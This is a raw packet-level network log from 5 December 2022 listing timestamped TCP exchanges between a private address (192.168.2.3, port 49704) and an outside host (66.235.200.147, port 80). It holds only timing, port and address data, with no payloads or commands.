Dec 5, 2022 06:44:36.465198994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465205908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465209007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465224028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465234041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465241909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465250969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465260029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465265989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465277910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465281963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465291977 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465296984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465315104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465318918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465327024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465331078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465349913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465353012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465363026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465367079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465384960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465389967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465401888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465405941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465420961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465424061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465435028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465440035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465457916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465464115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465476036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465477943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465495110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465495110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465512991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465512991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465532064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465533018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465550900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465553045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465568066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465569973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465585947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465589046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465605021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465605974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465621948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465625048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465641022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465642929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465657949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465658903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465677023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465686083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465694904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465698957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465712070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465717077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465729952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465734959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465748072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465753078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465763092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465766907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465784073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465789080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465801001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465805054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465820074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465820074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465838909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465843916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465856075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465858936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465874910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465877056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465893030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465898991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465910912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465917110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465925932 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465929985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465946913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465955019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465965033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465970993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465982914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465986967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466001987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466005087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466018915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466020107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466037989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466042042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466058016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466058969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466075897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466079950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466093063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466095924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466111898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466114998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466130972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466146946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466147900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466166019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466175079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466183901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466197014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466211081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466211081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466228962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466229916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466248035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466250896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466264009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466267109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466284990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466284990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466304064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466306925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466320038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466326952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466337919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466342926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466353893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466360092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466372967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466372967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466388941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466393948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466411114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466440916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466448069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466464043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466475010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466481924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466500044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466512918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466519117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466525078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466525078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466536999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466553926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466557980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466573954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466582060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466592073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466603994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466609955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466623068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466629028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466634035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466649055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466655970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466666937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466677904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466685057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466706991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466710091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466728926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466737032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466747046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466762066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466764927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466782093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466785908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466790915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466805935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466810942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466824055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466825008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466841936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466844082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466857910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466864109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466885090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466892004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466906071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466912031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466928959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466933012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466947079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466953039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466964960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466968060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.466984034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.466989994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467004061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467005968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467020035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467025042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467040062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467045069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467063904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467082977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467094898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467101097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467119932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467128992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467139006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467147112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467156887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467173100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467175007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467187881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467195034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467206001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467212915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467221022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467231989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467237949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467251062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467253923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467269897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467272043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467284918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467291117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467309952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467310905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467329979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467334986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467350006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467351913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467367887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467369080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467387915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467391014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467407942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467411041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467428923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467430115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467446089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467447996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467461109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467463970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467483044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467484951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467503071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467503071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467519045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467521906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467539072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467541933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467561007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467564106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467586040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467602968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467603922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467623949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467628002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467642069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467653990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467660904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467669010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467680931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467690945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467700005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467715025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467719078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467737913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467739105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467746973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467756987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467767000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467775106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467782021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467794895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467798948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467812061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467813015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467829943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467833996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467852116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467853069 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467870951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467874050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467889071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467892885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467911959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467914104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467930079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467940092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467948914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467957973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467967033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467973948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.467984915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.467989922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468003988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468007088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468023062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468023062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468044996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468044996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468064070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468113899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468132973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468142033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468151093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468159914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468168020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468170881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468189955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468197107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468208075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468218088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468225956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468236923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468245983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468262911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468264103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468276978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468282938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468296051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468302011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468314886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468321085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468333960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468338966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468353987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468360901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468363047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468373060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468380928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468400002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468410015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468417883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468420982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468437910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468446970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468456984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468462944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468476057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468480110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468494892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468497038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468513012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468517065 CET	80	49704	66.235.200.147	192.168.2.3
